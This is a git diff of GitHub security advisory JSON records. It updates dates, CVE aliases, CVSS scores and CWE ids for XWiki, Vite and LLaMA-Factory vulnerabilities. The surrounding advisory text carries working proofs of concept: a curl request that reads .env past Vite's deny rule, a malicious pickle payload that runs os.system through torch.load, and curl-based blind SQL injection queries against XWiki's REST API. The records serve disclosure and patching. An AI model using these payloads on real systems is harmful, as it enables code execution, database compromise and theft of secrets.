diff --git a/advisories/github-reviewed/2025/03/GHSA-gq32-758c-3wm3/GHSA-gq32-758c-3wm3.json b/advisories/github-reviewed/2025/03/GHSA-gq32-758c-3wm3/GHSA-gq32-758c-3wm3.json index dccdb988233..f18dd9c9ea2 100644 --- a/advisories/github-reviewed/2025/03/GHSA-gq32-758c-3wm3/GHSA-gq32-758c-3wm3.json +++ b/advisories/github-reviewed/2025/03/GHSA-gq32-758c-3wm3/GHSA-gq32-758c-3wm3.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-gq32-758c-3wm3", - "modified": "2025-03-19T20:03:42Z", + "modified": "2025-04-30T20:41:44Z", "published": "2025-03-19T20:03:42Z", "aliases": [ "CVE-2025-29924" @@ -9,6 +9,10 @@ "summary": "XWiki uses the wrong wiki reference in AuthorizationManager", "details": "### Impact\n\nIt's possible for an user to get access to private information through the REST API - but could also be through another API - when a sub wiki is using \"Prevent unregistered users to view pages\". The vulnerability only affects subwikis, and it only concerns specific right options such as \"Prevent unregistered users to view pages\". or \"Prevent unregistered users to edit pages\".\n\nIt's possible to detect the vulnerability by enabling \"Prevent unregistered users to view pages\" and then trying to access a page through the REST API without using any credentials.\n\n### Patches\n\nThe vulnerability has been patched in XWiki 15.10.14, 16.4.6 and 16.10.0RC1. \n\n### Workarounds\n\nThere's no workaround.\n\n### References\n\n * JIRA ticket: https://jira.xwiki.org/browse/XWIKI-22640\n * Commit of the fix: https://github.com/xwiki/xwiki-platform/commit/5f98bde87288326cf5787604e2bb87836875ed0e\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" @@ -97,7 +101,8 @@ ], "database_specific": { "cwe_ids": [ - "CWE-269" + "CWE-269", + "CWE-863" ], "severity": "HIGH", "github_reviewed": true, diff --git a/advisories/github-reviewed/2025/04/GHSA-859w-5945-r5v3/GHSA-859w-5945-r5v3.json b/advisories/github-reviewed/2025/04/GHSA-859w-5945-r5v3/GHSA-859w-5945-r5v3.json index 4809dd84eb9..606e7277b4f 100644 --- a/advisories/github-reviewed/2025/04/GHSA-859w-5945-r5v3/GHSA-859w-5945-r5v3.json +++ b/advisories/github-reviewed/2025/04/GHSA-859w-5945-r5v3/GHSA-859w-5945-r5v3.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-859w-5945-r5v3", - "modified": "2025-04-30T17:40:27Z", + "modified": "2025-04-30T20:42:45Z", "published": "2025-04-30T17:40:27Z", - "aliases": [], + "aliases": [ + "CVE-2025-46565" + ], "summary": "Vite's server.fs.deny bypassed with /. for files under project root", "details": "### Summary\nThe contents of files in [the project `root`](https://vite.dev/config/shared-options.html#root) that are denied by a file matching pattern can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\nOnly files that are under [project `root`](https://vite.dev/config/shared-options.html#root) and are denied by a file matching pattern can be bypassed.\n\n- Examples of file matching patterns: `.env`, `.env.*`, `*.{crt,pem}`, `**/.env`\n- Examples of other patterns: `**/.git/**`, `.git/**`, `.git/**/*`\n\n### Details\n[`server.fs.deny`](https://vite.dev/config/server-options.html#server-fs-deny) can contain patterns matching against files (by default it includes `.env`, `.env.*`, `*.{crt,pem}` as such patterns).\nThese patterns were able to bypass for files under `root` by using a combination of slash and dot (`/.`).\n\n### PoC\n```\nnpm create vite@latest\ncd vite-project/\ncat \"secret\" > .env\nnpm install\nnpm run dev\ncurl --request-target /.env/. http://localhost:5173\n```\n\n![image](https://github.com/user-attachments/assets/822f4416-aa42-461f-8c95-a88d155e674b)\n![image](https://github.com/user-attachments/assets/42902144-863a-4afb-ac5b-fc16effa37cc)", "severity": [ diff --git a/advisories/github-reviewed/2025/04/GHSA-f2f7-gj54-6vpv/GHSA-f2f7-gj54-6vpv.json b/advisories/github-reviewed/2025/04/GHSA-f2f7-gj54-6vpv/GHSA-f2f7-gj54-6vpv.json index 972dd5f3c34..2146fa015fa 100644 --- a/advisories/github-reviewed/2025/04/GHSA-f2f7-gj54-6vpv/GHSA-f2f7-gj54-6vpv.json +++ b/advisories/github-reviewed/2025/04/GHSA-f2f7-gj54-6vpv/GHSA-f2f7-gj54-6vpv.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-f2f7-gj54-6vpv", - "modified": "2025-04-23T22:21:13Z", + "modified": "2025-04-30T20:42:50Z", "published": "2025-04-23T22:21:13Z", - "aliases": [], + "aliases": [ + "CVE-2025-46567" + ], "summary": "LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py", "details": "### Description\n\nA critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.\n\n### Attack Vector\n\nThis vulnerability is **exploitable without authentication or privileges** when a user is tricked into:\n\n1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).\n2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.\n\nNo elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. \n\n### Impact\n\n- Arbitrary command execution (RCE)\n- System compromise\n- Persistence or lateral movement in shared compute environments\n\n\n### Proof of Concept (PoC)\n\n```python\n# malicious_payload.py\nimport torch, pickle, os\n\nclass MaliciousPayload:\n def __reduce__(self):\n return (os.system, (\"mkdir HACKED!\",)) # Arbitrary command\n\nmalicious_data = {\n \"v_head.summary.weight\": MaliciousPayload(),\n \"v_head.summary.bias\": torch.randn(10)\n}\n\nwith open(\"value_head.bin\", \"wb\") as f:\n pickle.dump(malicious_data, f)\n```\n\nAn example of `config.json`:\n\n```json\n{\n \"model\": \"value_head.bin\",\n \"hidden_size\": 4096,\n \"num_attention_heads\": 32,\n \"num_hidden_layers\": 24,\n \"initializer_range\": 0.02,\n \"intermediate_size\": 11008,\n \"max_position_embeddings\": 4096,\n \"kv_channels\": 128,\n \"layer_norm_epsilon\": 1e-5,\n \"tie_word_embeddings\": false,\n \"vocab_size\": 151936\n}\n```\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree\n.\n`-- LLaMA-Factory\n |-- LICENSE\n |-- README.md\n |-- malicious_folder\n | |-- config.json\n | `-- value_head.bin\n `-- xxxxx(Irrelevant documents omitted)\n```\n\n\n```bash\n# Reproduction\npython scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n```\n\n➡️ Running this will execute the malicious payload and create a `HACKED!` folder.\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\nCITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nE0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\nE0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.\nTo enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.\nLoad weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s]\nTraceback (most recent call last):\n File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 112, in \n fire.Fire(llamafy_baichuan2)\n File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 135, in Fire\n component_trace = _Fire(component, args, parsed_flag_args, context, name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 468, in _Fire\n component, remaining_args = _CallAndUpdateTrace(\n ^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 684, in _CallAndUpdateTrace\n component = fn(*varargs, **kwargs)\n ^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 107, in llamafy_baichuan2\n save_weight(input_dir, output_dir, shard_size, save_safetensors)\n File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 35, in save_weight\n shard_weight = torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1040, in load\n return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1260, in _legacy_load\n raise RuntimeError(\"Invalid magic number; corrupt file?\")\nRuntimeError: Invalid magic number; corrupt file?\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\n CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src\n'HACKED!' MANIFEST.in README.md assets docker examples out requirements.txt setup.py tests\n```\n\n### Affected File(s)\n\n- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35\n- `scripts/convert_ckpt/llamafy_baichuan2.py`\n- Line: `torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")`\n\n### Suggested Fix\n\n- Replace `torch.load()` with safer alternatives like `safetensors`.\n- Validate and whitelist file types before deserialization.\n- Require checksum validation.\n\nExample patch:\n\n```python\n# Replace torch.load() with safe deserialization\ntry:\n from safetensors.torch import load_file\n tensor_data = load_file(filepath)\nexcept Exception:\n print(\"Invalid or unsafe checkpoint file.\")\n return\n```\n\n### Workarounds\n\n- Avoid running the script with untrusted `.bin` files.\n- Use containers or VMs to isolate script execution.\n\n### References\n\n- [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html)\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n### Credits\n\nDiscovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23", "severity": [ diff --git a/advisories/github-reviewed/2025/04/GHSA-f69v-xrj8-rhxf/GHSA-f69v-xrj8-rhxf.json b/advisories/github-reviewed/2025/04/GHSA-f69v-xrj8-rhxf/GHSA-f69v-xrj8-rhxf.json index 50679f47bd4..f771bde2488 100644 --- a/advisories/github-reviewed/2025/04/GHSA-f69v-xrj8-rhxf/GHSA-f69v-xrj8-rhxf.json +++ b/advisories/github-reviewed/2025/04/GHSA-f69v-xrj8-rhxf/GHSA-f69v-xrj8-rhxf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-f69v-xrj8-rhxf", - "modified": "2025-04-23T19:15:38Z", + "modified": "2025-04-30T20:42:39Z", "published": "2025-04-23T14:42:42Z", "aliases": [ "CVE-2025-32969" @@ -9,6 +9,10 @@ "summary": "org.xwiki.platform:xwiki-platform-rest-server allows SQL injection in query endpoint of REST API", "details": "### Impact\n\nIt is possible for a remote unauthenticated user to escape from the HQL execution context and perform a blind SQL injection to execute arbitrary SQL statements on the database backend, including when \"Prevent unregistered users from viewing pages, regardless of the page rights\" and \"Prevent unregistered users from editing pages, regardless of the page rights\" options are enabled.\n\nDepending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries.\n\nThe vulnerability may be tested in a default installation of XWIki Standard Flavor, including using the official Docker containers.\n\nAn example query, which leads to SQL injection with MySQL/MariaDB backend is shown below:\n\n```\ntime curl \"http://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20doc.name=length('a')*org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%201,2,3,sleep(10)%20%23%27&type=hql&distinct=0\"\n```\n\nWhen executed, the response from the server will come after a delay of 10 extra seconds, indicating successful execution of the injected SQL statement.\n\nAn example of a query for the PostgreSQL database backend is shown below:\n\n```\ncurl \"https://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20%24%24='%24%24=concat(%20chr(%2061%20),(chr(%2039%20))%20)%20;select%201%20--%20comment'&type=hql&distinct=0\"\n```\n\nBoth requests employ database backend dependent techniques of breaking out of HQL query context, described, for example, here: https://www.sonarsource.com/blog/exploiting-hibernate-injections.\n\n### Patches\n\nThis has been patched in 16.10.1, 16.4.6 and 15.10.16.\n\n### Workarounds\n\nThere is no known workaround, other than upgrading XWiki.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-22691\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nSergey Anufrienko from Kaspersky ICS-CERT vulnerability research team reported this vulnerability.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"